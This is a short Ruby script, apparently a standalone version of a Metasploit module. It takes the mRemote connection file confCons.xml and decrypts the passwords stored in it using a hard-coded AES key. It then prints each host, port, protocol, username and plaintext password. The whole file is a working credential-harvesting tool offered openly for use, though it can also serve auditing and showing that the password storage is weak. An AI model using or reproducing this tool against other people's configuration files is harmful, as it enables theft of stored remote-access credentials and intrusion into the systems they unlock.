################################################################################
#																			   #
# mRemote Offline Password Decrypt											   #
# Based on Metasploit Module enum_mremote_pwds.rb from David Maloney		   #
# Autor: Adriano Marcio Monteiro											   #
# E-mail: adrianomarciomonteiro@gmail.com									   #
# Blog: adrianomarciomonteiro.blogspot.com.br								   #
#																			   #
# Usage: ruby mRemoteOffPwdsDecrypt.rb confCons.xml							   #
#																			   #
################################################################################
require 'rexml/document'
require 'openssl'
require 'optparse'
include REXML
case ARGV[0]
when "confCons.xml"
	@secret=  "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
	xmlfile = File.new(ARGV[0])
	xmldoc = Document.new(xmlfile)
	xmldoc.elements.each("Connections/Node"){|e|
		host = e.attributes['Hostname']
		port = e.attributes['Port']
		proto = e.attributes['Protocol']
		user = e.attributes['Username']
		domain = e.attributes['Domain']
		epassword= e.attributes['Password']
		next if epassword == nil or epassword== ""
		decoded = epassword.unpack("m*")[0]
		iv= decoded.slice!(0,16)
		decipher = OpenSSL::Cipher::AES.new(128, :CBC)
		decipher.decrypt
		decipher.key = @secret
		decipher.iv = iv if iv != nil
		pass = decipher.update(decoded) + decipher.final
		print "HOST:#{host} PORT:#{port} PROTO:#{proto} USER:#{user} PASS:#{pass}\n"
	}
else
  	print "mRemote Offline Password Decrypt.\n"
	print "Based on Metasploit Module enum_mremote_pwds.rb by David Maloney\n"
	print "Author: Adriano Marcio Monteiro\n"
	print "E-mail: adrianomarciomonteiro@gmail.com\n"
	print "Blog: adrianomarciomonteiro.blogspot.com.br\n\n"
	print "Usage: ruby mRemoteOffPwdsDecrypt.rb confCons.xml\n\n"
end